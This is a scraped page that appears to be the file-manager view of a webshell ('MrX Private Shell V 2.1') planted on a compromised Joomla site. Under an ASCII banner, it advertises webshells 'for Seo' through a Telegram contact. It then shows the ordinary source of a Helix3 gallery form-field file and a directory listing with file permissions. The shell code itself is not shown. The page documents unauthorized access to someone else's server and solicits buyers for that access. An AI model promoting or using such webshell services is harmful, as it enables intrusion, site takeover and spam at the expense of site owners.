__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Helix3 Framework
* @author JoomShaper https://www.joomshaper.com
* @copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
//no direct accees
defined ('_JEXEC') or die ('resticted aceess');
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Uri\Uri;
class JFormFieldSpgallery extends FormField
{
protected $type = 'Spgallery';
protected function getInput()
{
$doc = Factory::getDocument();
HTMLHelper::_('jquery.framework');
// $doc->addScript($plg_path . '/assets/js/jquery.ui.core.min.js');
// $doc->addScript($plg_path . '/assets/js/jquery.ui.sortable.min.js');
$plg_path = Uri::root(true) . '/plugins/system/helix3';
$doc->addScript($plg_path . '/assets/js/jquery-ui.min.js');
$doc->addScript($plg_path . '/assets/js/spgallery.js');
$doc->addStyleSheet($plg_path . '/assets/css/spgallery.css');
$values = json_decode($this->value);
if($values) {
$images = $this->element['name'] . '_images';
$values = $values->$images;
} else {
$values = array();
}
$output = '<div class="sp-gallery-field">';
$output .= '<ul class="sp-gallery-items clearfix">';
if(is_array($values) && $values) {
foreach ($values as $key => $value) {
$data_src = $value;
$src = Uri::root(true) . '/' . $value;
$basename = basename($src);
$thumbnail = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
if(file_exists($thumbnail)) {
$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
}
$small_size = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);
if(file_exists($small_size)) {
$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);
}
$output .= '<li data-src="' . $data_src . '"><a href="#" class="btn btn-mini btn-danger btn-remove-image">Delete</a><img src="'. $src .'" alt=""></li>';
}
}
$output .= '</ul>';
$output .= '<input type="file" class="sp-gallery-item-upload" accept="image/*" style="display:none;">';
$output .= '<a class="btn btn-default btn-outline-primary btn-sp-gallery-item-upload" href="#"><i class="fa fa-plus"></i> Upload Images</a>';
$output .= '<input type="hidden" name="'. $this->name .'" data-name="'. $this->element['name'] .'_images" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
. '" class="form-field-spgallery">';
$output .= '</div>';
return $output;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| asset.php | File | 2.4 KB | 0664 |
|
| button.php | File | 854 B | 0664 |
|
| group.php | File | 875 B | 0664 |
|
| icon.php | File | 14.2 KB | 0664 |
|
| layout.php | File | 1.61 KB | 0664 |
|
| layoutlist.php | File | 1.76 KB | 0664 |
|
| megamenu.php | File | 901 B | 0664 |
|
| menulayout.php | File | 19.94 KB | 0664 |
|
| modpos.php | File | 1.85 KB | 0664 |
|
| optionio.php | File | 1.28 KB | 0664 |
|
| presets.php | File | 2.25 KB | 0664 |
|
| spgallery.php | File | 2.83 KB | 0664 |
|
| spimage.php | File | 2.17 KB | 0664 |
|
| typography.php | File | 4.71 KB | 0664 |
|